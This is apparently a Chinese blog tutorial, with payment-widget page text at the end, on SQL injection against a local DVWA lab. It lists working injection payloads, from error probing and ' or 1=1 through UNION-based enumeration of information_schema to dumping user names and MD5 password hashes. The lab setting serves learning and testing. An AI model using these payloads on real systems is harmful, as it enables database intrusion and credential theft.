sql注入

启动xampp

/opt/lampp/lampp start

在搜狐浏览器中输入网址

http://127.0.0.1/DVWA/

select
在输入框中输入’
这里写图片描述

出现以下提示错误:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ””’ at line 1

表明很可能存在sql注入漏洞

1’

无反应,说明需要’以保证sql查询语句的正确性。

' or 1=1 --'

得到所有用户信息。

union

' union select 1 --'

得到以下错误:
The used SELECT statements have a different number of columns

' union select 1,2 --'

无错误信息,说明数据库有2列。

' union select 1, table_name from information_schema.tables -- '

可以从mysql数据库中得到所有表的表名。

' union select 1, column_name from information_schema.columns where table_name = 'users' -- '

从mysql数据库中得到users表的列名

' union select NULL, password from users -- '

得到密码的MD5值

' union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '

列出了所有细节

参考
《Metasploit 魔鬼训练营》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值